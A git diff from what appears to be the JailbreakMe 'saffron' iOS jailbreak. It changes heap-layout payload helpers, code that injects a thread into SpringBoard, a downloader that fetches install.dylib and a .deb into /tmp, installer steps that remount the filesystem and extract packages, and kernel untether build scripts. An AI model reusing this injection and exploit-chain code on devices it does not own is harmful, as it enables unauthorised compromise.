sys.stdout.write('%08x end\n' % pos) -def ptr(str, null_terminate=False, heap=None): +def ptr(str, null_terminate=False, heap=None, align_offset=0, **kwargs): if heap is None: heap = sheap if null_terminate: str += '\0' - str = pad(str, 4) - result = pointed(str) - heap.append(result) - return pointer(result) + str = pad(str, 4, -align_offset & 3) + return pointer(heapadds(heap, str, align_offset=align_offset, **kwargs)) def ptrI(*xs, **kwargs): return ptr(reduce(operator.add, map(I, xs)), **kwargs) @@ -143,7 +148,7 @@ def init(*regs, **kwargs): def finalize(heapaddr=None, must_be_simple=True, should_heapdump=False): global heap, sheap, keep_debugs clear_fwd() - nheap = heap + sheap + nheap = pad(heap, 16) + sheap if should_heapdump: nheap = simplify_times(nheap, heapaddr, 4, False) heapdump(nheap) diff --git a/goo/goop.py b/goo/goop.py index 74b79bb..16c7d21 100644 --- a/goo/goop.py +++ b/goo/goop.py @@ -8,9 +8,9 @@ def getdebugname(): if True and ('world' in fn or 'goo' in fn): continue return '%s:%d' % (fn, f.f_lineno) -def pad(x, p): +def pad(x, p, offset=0): l = len(x) - return x + '\0' * (-l & (p - 1)) + return x + '\0' * (-(l - offset) & (p - 1)) def simplify_times(heap, addr, times, must_be_simple=True): for i in xrange(times): @@ -131,6 +131,8 @@ def unpack(self): bits += struct.unpack('I'*(len(bit)/4), bit) elif len(bit) == 0: pass + elif isinstance(bit, troll_string): + bits += bit.unpack() else: raise ValueError('unpack: %r' % bit) return bits diff --git a/install/install.m b/install/install.m index 861b290..6ad9c6d 100644 --- a/install/install.m +++ b/install/install.m @@ -35,7 +35,7 @@ static void wrote_bytes(ssize_t bytes) { // xxx figure this out float total = 36938240.0f; - set_progress(written_bytes / total); + set_progress((written_bytes / total)/* * 0.95*/); } } @@ -173,11 +173,11 @@ static void extract(const char *fn) { } else { chdir("/"); } - tar_extract_file(tar, pathname); - if(strstr(pathname, "LaunchDaemons/") && strstr(pathname, ".plist")) { - _log("queueing ld %s", pathname); - [to_load addObject:[NSData dataWithBytes:pathname length:strlen(pathname)+1]]; + if(!access(pathname, F_OK)) { + _log("skipping %s", pathname); + continue; } + tar_extract_file(tar, pathname); } tar_close(tar); @@ -243,14 +243,6 @@ static void add_afc2() { })); } -static void finish_up() { - return; - for(NSData *pathname in to_load) { - chdir("/"); - run((char *[]) {"/bin/launchctl", "load", (char *) [pathname bytes], NULL}, NULL); - } -} - @interface LSApplicationWorkspace { } +(LSApplicationWorkspace *)defaultWorkspace; @@ -318,13 +310,15 @@ void do_install(void (*set_progress_)(float)) { TIME(remount()); TIME(dok48()); TIME(add_afc2()); - TIME(make_nulls()); + if(USE_NULL) { + make_nulls(); + } TIME(extract("/tmp/freeze.tar.xz")); TIME(install_starstuff()); - TIME(finish_up()); TIME(uicache()); TIME(post_jailbreak()); - TIME(sync()); + set_progress(1.00); + TIME(sync(), sync(), sync()); _log("final written_bytes = %zd", written_bytes); } diff --git a/locutus/inject.c b/locutus/inject.c index 67f3620..1a5b738 100644 --- a/locutus/inject.c +++ b/locutus/inject.c @@ -60,7 +60,10 @@ kern_return_t inject(pid_t pid, const char *path) { struct arm_thread_state arm; natural_t nat; } state = { { .cpsr = 0x20 } }; - state.arm.pc = baton_address + 8; + state.arm.pc = baton_address; + + vm_machine_attribute_val_t value = MATTR_VAL_CACHE_FLUSH; // ignored by the kernel + _assert_zero(vm_machine_attribute(task, baton_address, baton_size, MATTR_CACHE, &value)); thread_act_t thread; _assert_zero(thread_create_running(task, ARM_THREAD_STATE, &state.nat, ARM_THREAD_STATE_COUNT, &thread)); diff --git a/locutus/locutus.c b/locutus/locutus.c index bb247c6..49afb44 100644 --- a/locutus/locutus.c +++ b/locutus/locutus.c @@ -30,9 +30,8 @@ static const float download_share = 0.50; //#define TINY #ifdef TINY -static void do_nothing_with(CFTypeRef r) {} -#define CFRelease do_nothing_with -#define NSLog(...) +#define CFRelease(args...) ((args), (void) 0) +#define NSLog(args...) ((args), (void) 0) #else extern void NSLog(CFStringRef fmt, ...); #endif @@ -64,10 +63,16 @@ static struct request { }; }; } requests[] = { - {CFSTR("http://a.qoid.us/saffron/saffron-jailbreak-%s-%s.deb"), "/tmp/saffron-jailbreak.deb", CFSTR("application/x-debian-package"), {}}, +#if 1 + {CFSTR("http://www.jailbreakme.com/saffron/_/saffron-jailbreak-%s-%s.deb"), "/tmp/saffron-jailbreak.deb", CFSTR("application/x-debian-package"), {}}, + {CFSTR("http://www.jailbreakme.com/saffron/_/freeze.tar.xz"), "/tmp/freeze.tar.xz", CFSTR("application/octet-stream"), {}}, + {CFSTR("http://www.jailbreakme.com/saffron/_/install.dylib"), "/tmp/install.dylib", CFSTR("application/octet-stream"), {}}, +#else + {CFSTR("http://a.qoid.us/omgleak/_/saffron-jailbreak-%s-%s.deb"), "/tmp/saffron-jailbreak.deb", CFSTR("application/x-debian-package"), {}}, //{CFSTR("http://test.saurik.com/dhowett/Cydia-4.1b1-Srk.txz"), "/tmp/freeze.tar.xz", CFSTR("text/plain"), {}}, - {CFSTR("http://a.qoid.us/saffron/Cydia-4.3r4-Raw.tar.xz"), "/tmp/freeze.tar.xz", CFSTR("application/x-tar"), {}}, - {CFSTR("http://a.qoid.us/saffron/install.dylib"), "/tmp/install.dylib", CFSTR("text/plain"), {}}, + {CFSTR("http://a.qoid.us/omgleak/_/freeze.tar.xz"), "/tmp/freeze.tar.xz", CFSTR("application/x-tar"), {}}, + {CFSTR("http://a.qoid.us/omgleak/_/install.dylib"), "/tmp/install.dylib", CFSTR("text/plain"), {}}, +#endif }, *const requests_end = requests + sizeof(requests)/sizeof(*requests); static void did_download(size_t bytes) { @@ -194,6 +199,7 @@ static void request_callback(CFReadStreamRef stream, CFStreamEventType event_typ NSLog(CFSTR("got %@, expected %@"), content_type, r->content_type); handle_error(r, CFStringCreateWithFormat(NULL, NULL, CFSTR("Wrong Content-Type; are you on a fail Wi-Fi network?"))); + break; } } @@ -282,11 +288,12 @@ static pid_t find_springboard() { _assert(!sysctl(&name[0], sizeof(name) / sizeof(*name), proc, &length, NULL, 0)); for(size_t i = 0; i < length/sizeof(*proc); i++) { struct extern_proc *ep = &proc[i].kp_proc; + /*if(!strncmp(ep->p_comm, "CommCenter", sizeof(ep->p_comm))) { + kill(ep->p_pid, SIGKILL); + }*/ if(!strncmp(ep->p_comm, "SpringBoard", sizeof(ep->p_comm))) { result = ep->p_pid; - }/* else if(!strncmp(ep->p_comm, "locutus", sizeof(ep->p_comm)) && ep->p_pid != my_pid) { - kill(ep->p_pid, SIGUSR1); - }*/ + } } _assert(result); return result; diff --git a/locutus/locutus_server.m b/locutus/locutus_server.m index 56f614d..9f3cf74 100644 --- a/locutus/locutus_server.m +++ b/locutus/locutus_server.m @@ -102,6 +102,7 @@ static void do_alert(NSString *title, NSString *message, NSString *cancel, NSStr static void (^sk)() = ^{ [alert_view dismissWithClickedButtonIndex:0 animated:YES]; [icon remove]; + [icon release]; icon = nil; [icon_controller setIconToReveal:nil]; close(sock); @@ -128,7 +129,7 @@ static BOOL MyIcon_allowsUninstall(id self, SEL sel) { static void MyIcon_closeBoxTapped(id self, SEL sel) { // don't download behind the user's back write(sock, "p", 1); - do_alert(_(@"Remove Download"), @"Are you sure you want to remove “Cydia”?", (@"GAMECENTER_DELETE_STATS_DELETE"), _(@"UNINSTALL_ICON_CANCEL")); + do_alert(_(@"Remove Download"), @"Are you sure you want to remove “Cydia”?", _(@"GAMECENTER_DELETE_STATS_DELETE"), _(@"UNINSTALL_ICON_CANCEL")); } @@ -161,6 +162,7 @@ static void installed() { #endif [[icon_model applicationIconForDisplayIdentifier:@"com.saurik.Cydia"] reloadIconImage]; } + [icon release]; icon = nil; sk(); } @@ -209,6 +211,8 @@ static void installed() { } } +static void do_nothing() { } + __attribute__((constructor)) static void init() { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; @@ -237,15 +241,19 @@ static void init() { icon_model = [objc_getClass("SBIconModel") sharedInstance]; bundle_identifier = (existing_icon = [icon_model applicationIconForDisplayIdentifier:@"com.saurik.Cydia"]) ? @"com.saurik.Cydia.notreally" : @"com.saurik.Cydia"; + Class SBDownloadingIcon = objc_getClass("SBDownloadingIcon"); + char name[32]; sprintf(name, "MyIcon_%p", &init); - MyIcon = objc_allocateClassPair(objc_getClass("SBDownloadingIcon"), name, 0); + MyIcon = objc_allocateClassPair(SBDownloadingIcon, name, 0); #define OVERRIDE(x) class_replaceMethod(MyIcon, @selector(x), (IMP) MyIcon_##x, "") OVERRIDE(displayName); OVERRIDE(applicationBundleID); OVERRIDE(launch); OVERRIDE(allowsUninstall); OVERRIDE(closeBoxTapped); + IMP setDisplayedIconImage = class_getMethodImplementation(SBDownloadingIcon, @selector(setDisplayedIconImage:)); + class_replaceMethod(MyIcon, @selector(setDisplayedIconImage:), (IMP) do_nothing, ""); class_addMethod(MyIcon, @selector(alertView:clickedButtonAtIndex:), (IMP) MyIcon_alertView_clickedButtonAtIndex, "@:@l"); objc_registerClassPair(MyIcon); @@ -263,7 +271,6 @@ static void init() { [icon_model addIcon:icon]; [icon_controller addNewIconToDesignatedLocation:icon animate:NO scrollToList:NO saveIconState:YES]; [icon_controller setIconToReveal:icon]; - [icon release]; if(existing_icon) { write(sock, "p", 1); @@ -271,12 +278,15 @@ static void init() { } bool _2x = [[UIScreen mainScreen] scale] > 1.5; + bool ipad = [[UIDevice currentDevice] userInterfaceIdiom] == UIUserInterfaceIdiomPad; + NSString *icon_url = _2x ? @"http://a.qoid.us/Cydia@2x.png" : @"http://a.qoid.us/Cydia.png"; + if(ipad) icon_url = @"http://a.qoid.us/Cydia-72.png"; UIImage *icon_image = [UIImage imageWithData:[NSData dataWithContentsOfURL:[NSURL URLWithString:icon_url]]]; if(icon_image) { icon_image = [icon darkenedIconImage:icon_image alpha:0.5]; if(_2x) icon_image = [UIImage imageWithCGImage:[icon_image CGImage] scale:2.0 orientation:UIImageOrientationUp]; - [icon setDisplayedIconImage:icon_image]; + ((void (*)(id self, SEL sel, id image)) setDisplayedIconImage)(icon, nil, icon_image); } }); diff --git a/make.py b/make.py index c07db59..1f29f75 100755 --- a/make.py +++ b/make.py @@ -19,8 +19,10 @@ def hybrid_hasher(filename): def set_firmware(firmware=None, lndir=False): global iversion, device, version, build_num, is_armv7, BUILD_ROOT, BS if firmware is None: - firmware = os.readlink(ROOT + '/config/cur').strip('/').split('/')[-1] - BS = ROOT + '/bs/' + firmware + BS = os.readlink(ROOT + '/config/cur') + firmware = BS.strip('/').split('/')[-1] + else: + BS = ROOT + '/bs/' + firmware device, version, build_num = re.match('(i[A-Z][a-z]+[0-9],[0-9x])_([0-9\.]+)_([A-Z0-9]+)', firmware).groups() is_armv7 = device not in ['iPhone1,1', 'iPhone1,2', 'iPod1,1', 'iPod2,1'] bits = version.split('.') + [0, 0] @@ -90,7 +92,7 @@ def catalog_dejavu(): def catalog_untether(): catalog() run(GCC, '-c', '-o', tmp('kcode_two.o'), 'kcode.S', '-Oz') - run('python', 'catalog.py', 'untether', version, BS+'/cache', BS+'/kern', tmp('patchfile'), tmp('kcode_two.o'), tmp('two.txt')) + run('python', 'catalog.py', 'untether', device, version, BS+'/cache', BS+'/kern', tmp('patchfile'), tmp('kcode_two.o'), tmp('two.txt')) def untether(): catalog_untether() @@ -172,13 +174,11 @@ def starstuff(): white() untether() goto('starstuff') - compile_stuff(['mount_nulls.c'], 'mount_nulls', ldid=False, gcc=GCC_ARMV6, use_tmp=False, cflags='-DUSE_NULL=%d' % use_null) + compile_stuff(['mount_nulls.c'], 'mount_nulls', ldid=True, gcc=GCC_ARMV6, use_tmp=False, cflags='-DUSE_NULL=%d' % use_null) if use_null: run('../white/universal/white_loader', '-k', BS+'/kern', '-p', tmp('../fs/union.dylib'), tmp('union_prelink.dylib')) - else: - run('touch', tmp('union_prelink.dylib')) package = 'saffron-jailbreak-%s-%s' % (device, build_num) - run('bash', 'build-archive.sh', tmp('.'), package, package.replace(',', '.').lower()) + run('bash', 'build-archive.sh', tmp('.'), package, package.replace(',', '.').lower(), '%d' % use_null) def stage(string=None): all_devices = ['iPhone3,1', 'iPhone3,3', 'iPod4,1', 'iPad2,1', 'iPad2,2', 'iPad2,3', 'iPhone2,1', 'iPod3,1', 'iPad1,1', 'iPhone1,2', 'iPod2,1'] diff --git a/starstuff/build-archive.sh b/starstuff/build-archive.sh index 50289d2..f3285df 100644 --- a/starstuff/build-archive.sh +++ b/starstuff/build-archive.sh @@ -2,7 +2,9 @@ set -xe root="$1/root" mkdir -p "$root"/{DEBIAN,boot,private/var/null} -cp -a "$1"/union_prelink.dylib "$root"/boot/union_prelink.dylib +if [ "$4" = "1" ]; then + cp -a "$1"/union_prelink.dylib "$root"/boot/union_prelink.dylib +fi cp -a "$1"/../catalog/untether "$root"/boot/untether cp -a ../white/white_loader "$root"/boot/white_loader cp -a mount_nulls "$root"/boot/mount_nulls diff --git a/starstuff/root/boot/union_prelink.dylib b/starstuff/root/boot/union_prelink.dylib deleted file mode 100644 index 4ad5df7a1bc314549bc87327db32ef7210c6d892..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 41172 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 